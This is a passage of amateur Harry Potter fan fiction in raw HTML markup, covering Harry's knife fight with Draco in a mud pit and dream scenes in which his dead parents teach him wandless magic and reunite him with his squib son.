class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore looked down at them with a dull eye for he\nhimself was upset by this loss.&nbsp; He\nturned back out the window and looked at the group of children that recently\nassembled there. His heart sunk to think that they had a chance but now that\nchance was again crushed by a mistake he himself had made.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He turned back to Hermione and Ron, &#8220;I&#8217;m sorry.&#8221; Both\ngrownups looked at the elder man.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is the ministry&#8217;s and my own fault&#8230;&#8221; Dumbledore\nwalked to the fireplace and looked at a picture of Harry Ron and Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;With all due respect Sir, Harry did accept your offer.&#8221;\nRon stated sitting himself down in a chair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;True, but I feel that the fact was I was there when they\nasked, and we all know Harry never said no to me, he did have a look of doubt\nin his eye when he looked at me.&nbsp; Now\nthat I think about it I feel I might have pushed him on that judgment too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t blame yourself Professor, It was Harry, always\nlooking out for everyone but himself.&#8221; Hermione said wiping a tear from her\neye, &#8220;I just don&#8217;t know how they will all take it and try and handle James&#8217;s\ncase at the same time.&nbsp; This is just to\nmuch for them to handle.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes Hermione, but they have to accept it&#8230; We all\ndo.&nbsp; The Ministry and Myself will still\nbe trying to trace him but as much as I hate to say it&#8230;. I wouldn&#8217;t count on\nyour hopes.&#8221;&nbsp; Dumbledore explained.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes&#8230; But can we wait a little bit&#8230; let them be happy for\nthe time being.&#8221; Hermione looked out in the yard, &#8220;They look like they are\nplaying Rugby, and let them play for a bit.&#8221; Hermione said nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron and Dumbledore looked at each other and nodded\nthinking the same thing.&nbsp; Dumbledore was\nthe first to speak, &#8220;Shall we talk about James then?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~*~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Get him Draco! Use all your force! Use the training I\ntaught you!&#8221; Lucius Screamed at Draco and Harry fought in what was once a house\nthat was now a pit of ankle high water and mud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This fight was bloody, it had lasted at least an hour of\nperiodic fighting, once and a while they would stop to catch there breath but\nthen would lunge at each other and throw sever blows.&nbsp; Under the water they&#8217;re where various weapons that Lucius planted\nbut for both men it was hard to find being under the think mud.&nbsp; Once in a great while they would step on the\nsharp objects and yelp in pain, but then grabbing them and attempting to use on\neach other.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco and one point had a jack knife and sliced Harry&#8217;s\narm scoring him enough time to dive at him and punch him in the face but didn&#8217;t\nhave many good hits.&nbsp; Harry on the other\nhand was getting more hits in since he was more angelic diving out of hit range\nand slipping from Draco&#8217;s grasp.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked at the once clear water that was now covered\nin blood and mud along with the rest of his body. He barely had time to react\nwhen he saw an equally cover Draco fly at him with a knife.&nbsp; He reacted fast as Draco mad a stab at him\nbut Harry grabbed his wrist and twisted it back.&nbsp; This made Draco drop the knife.&nbsp;\nHarry the picked it up and put it to the blonde&#8217;s neck and turned to\nLucius.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Holding Draco by his hair and pulling back so his neck\nwas exposed to the max, and Harry poling the knife right to it showing Lucius\nhe would indeed slice if this madness didn&#8217;t stop, &#8220;I&#8217;ve won Malfoy&#8230; Now unless\nyou want to watch your son die I think that you should really put a stop to\nit.&#8221; Harry looked right into the older Malfoy&#8217;s eyes not moving at all as he\nspoke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lucius looked down at his son who was standing there as\nif it was nothing at all to have a knife to his neck, but looking even deeper\nhe saw his son pleading to have his father stop him.&nbsp; Lucius raised his wand, &#8220;with a wave they were back in the living\nroom of the Potter home.&nbsp; Harry no\nlonger had his knife and was just standing their, holding Draco by the head and\narm witch tried to cut him, again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now potter, let my son go.&#8221; Lucius demanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry hesitantly released the boy from his grasp, Draco\nmoved and faced his mud covered rival and looked him up and down, &#8220;How the\nbloody hell were you able move like that threw the thick mud and water!&#8221; Draco\nasked shocked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grinned as he walked towards the stairs, &#8220;From your\nMaster.&#8221; And he walked upstairs to his <i>room.</i> He didn&#8217;t know why he just\nwalked up to least place he wanted to be but he did.&nbsp; He got in the room and with his filthy sweaty and bloody body he\ncollapsed on his floor and instantly was knocked out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *~<i>Harry walked down a chamber hall of a dark and\ncreepy dungeon, &#8220;where am I?&#8221; he said, &#8220;Where ever I am I hope it&#8217;s not another\ndream about my parents.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry&#8230;&#8221; A deep voice said, &#8220;Come to me Harry.&#8221; It said.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He looked around, &#8220;Dad?&#8221; Harry said.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes Harry, it&#8217;s me&#8230;&#8221; Harry looked around again but this\ntime he saw a door with a golden light shining threw it.&nbsp; He walked to the door and opened it; a\nbreeze of air rushed over him.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Looking around Harry saw the same place he had been for a\nday but it was different in some way, it felt different, homelier. The room was\nwarm and comfortable, not like before when it was cold and dull.&nbsp; Harry walked around looking and feeling the\nwarm sensations flowing threw him, then the voice cam again.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I see you like it better here then with those two\npieces of scum.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry spun around to look at what looked like a replica\nof him.&nbsp; The same messy hair and\nglasses, same body texture. &nbsp;The only\nthing different was the eye color and the fact that one was dead.&nbsp; Dead!</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I- I&#8217;m not&#8230;&#8221; Harry said panicky </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No son. You&#8217;re not dead.&#8221; James said, &#8220;You&#8217;re in your\ndreams but we also can corrupt your mind with out spirits.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Really.&#8221; Harry said in disbelief. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, your mother and I can do many things but only for a\nshort amount of time&#8230; and only in your head.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; James walked over to his son and sat him down, &#8220;Harry I\nhave a lot to tell you.&#8221;&nbsp; Harry sat down\nlooking at his dead father.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, like where&#8217;s mum?&#8221;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s in your son, James&#8217;s mind&#8230; Talking to him.&nbsp; She&#8217;s trying to get him to help us.&#8221;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, He&#8217;s our magic conductor, this is good because\nit&#8217;s helping both your mother and I, and young James.&#8221; He looked at the\nconfused look on Harry&#8217;s face and laughed, &#8220; You see before we died your mother\nand I where studying a way to change a squib into a wizard or witch.&nbsp; Your son, Harry is a squib&#8230;well is as of\nthis moment but he won&#8217;t for long.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My son is a squib? But how, Hermione and myself are both\nhave magic in our blood.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes but don&#8217;t forget Hermione came from a muggle family&#8230;\nit&#8217;s a risk some wizards have when there&#8217;s muggle heritage involved&#8230; some\nchildren can turn out to be fine but others can skip the magic gene and have no\nmagic at all.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So my son is a squib.&#8221; Harry ran a hand threw his hair,\n&#8220;Well that would explain why I haven&#8217;t seen anything unusual with him.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes but Lily and I can correct that.&nbsp; You see we have been using James as our\ntest&#8230; with one of us in him we can easily transfer magic from someone else to\nhim.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t understand.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ok. Ok I have a lot to explain to you&#8230; but we need to\nclean you up and show you a few things.&#8221; The older James held out his hand,\n&#8220;Come on, you need a shower.&#8221;&nbsp; Harry\ncocked an eyebrow, this made James laugh, &#8220;Yes, we have a lot to explain.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have no idea&#8230;.&#8221;</i></p>\n\n<p class="MsoNormal"><i>~*~~*~</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was amazed at what was happening to him, it was\nlike he wasn&#8217;t asleep but yet he was all clean and healed, &#8220;How did you do this\ndad?&#8221; Harry said amazed.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; James walked in from the hall with a bag and looked at\nhis son, &#8220;I didn&#8217;t&#8230; You did.&#8221; He simply said setting the bag down on the floor.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I did?&#8221; Harry again looked confused.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, Harry you may not have a wand but you still have magic\nin you&#8230; you just have to learn how to use it.&#8221; James then opened the bag.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s in that bag?&#8221; Harry looked with interest.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I&#8217;m going to help you with wand less magic.&nbsp; I figure that you&#8217;ve slept for almost a\nwhole day and they can only think that you&#8217;re just passed out form the hard\nfight you had&#8230;. but it won&#8217;t last for long. They will grow suspicious and that\nwon&#8217;t be good.&#8221; James took out what looked like an iron rod and handed it to\nHarry.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s this for?&#8221; Harry asked.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re going to learn how to banish this away from\nyourself by using your mind.&#8221; James explained.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh&#8230;&#8221; Harry looked unsure of him self, &#8220;How do I do\nthat?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Concentrate on the rod Harry, right now&#8230; think about\nwhere you want it to go. Look right at it and don&#8217;t take your eyes off it.&#8221;\nJames instructed.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry did as he was told, he looked he looked at it not\nblinking or moving his vision.&nbsp; He\nthought hard about where he wanted it to go; he thought he was there for hours\nwhen he saw it levitate off the ground.&nbsp;\nThen he concentrated on where he wanted to put it. Then he heard a loud\nyell and lost concentration.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What happened!&#8221; Harry said looking at his father</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You, you lost concentration&#8230; Number one rule son, you\nhave to be able to concentrate with interruptions&#8230; that&#8217;s something we&#8217;ll spend\na lot of time on.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded turning back to the rod and again not moving\nhis vision from it.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">~*~~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;Grandma?&#8221; the young James Andrew Potter said turning\na corner in the house in his head, &#8220;Grandma?&#8221; From behind him a young women\nwith red hair walked up to him and quickly picked him making him squeal and\nlaugh, &#8220;Grandma There you are!&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She set him down and smiled, &#8220;Yes, here I am.&nbsp; James are you ready to see your daddy?&#8221; she\nasked him with a smile.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;YEAH!&#8221; James said jumping up and down.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now you know James that you have a big responsibility\nhere to help get your daddy back home.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know grandma, I just don&#8217;t want mum to be upset\nanymore&#8230;.&#8221; James looked at the ground, &#8220;She loves him to much.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lily smiled at her grandson, &#8220;Now I know you&#8217;re my\ngrandchild and Harry&#8217;s son.&#8221; She stood up and took his hand and together they\nwalked toward a door with a blue and gold light shimmering from it&#8230;.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">~*~~*~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good Harry you seem to\nunderstand the basic concept of it.&nbsp; But\nwe need to stop, they should be here soon.&#8221;\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Harry for a second time dropped the rod with a\nclatter in the ground, &#8220;Who is coming?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Your son, and Lily&#8230; mentally actually, we need to\nexplain to both of you what will happen now.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;With what?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;With getting you home&#8230; and getting James into the\nWizarding community, that is if he wants to.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry ran a hand threw his hair, he had remembered his\nfather telling him that the only way his youngest son could come into the\nwizarding heritage he has to be fully sure he wants to become a wizard.&nbsp; This discouraged Harry thinking what his son\nwould want. &#8216;</i>I hope he wants to be a\nwizard&#8230; but what ever he wants, I&#8217;ll be proud of him.<i>&#8217; Harry said to him\nself&#8230;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As if out of now where an orb of light formed in front of\nthe two men, then a flash of red light knocked them both over and now a tall\nthin women stood in front of them with a small boy holding her hand.&nbsp; Harry looked at the two and stood&#8230; The small\nboy attached to his mother&#8217;s hand went running to his father.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;DADDY!&#8221; He yelled as he jumped into his fathers embrace.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;James!&#8221; Harry said holding on to his son like he would\ndie if he were to let go.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The older James and his wife stood together as they\nwatched the reunion and it made them smile.&nbsp;\nThey looked at each other and kissed; Harry saw this and it made him so\nhappy to see his parents even if they weren&#8217;t alive.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For another few seconds Harry held on to his son and then\nput him down.&nbsp; He looked at his youngest\nson, &#8220;How&#8217;s mum and your brothers? How&#8217;s everyone?&#8221; Harry asked excited about\nseeing his son.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mum and everyone are sad&#8230; they miss you a lot, but I\nwouldn&#8217;t know what&#8217;s going on now because I fell asleep and didn&#8217;t wake up.&#8221;\nJames explained.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry frowned his brow and patted his son on the\nshoulders.&nbsp; Pulling him into another hug\nand smiled, &#8220;Hopefully they won&#8217;t be sad for long.&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Speaking of which&#8230; Harry here doesn&#8217;t have much time&#8230; it\nmay seem like only a little while since he was here but it&#8217;s almost a whole day\nhe&#8217;s been a sleep, I think it&#8217;s time to discuss plan to get Harry back home&#8230;&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry let go of his son and looked at the two ghosts&#8217; in\nfront of him, &#8220;What&#8217;s the plan?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ok&#8230;&#8221; James smirked 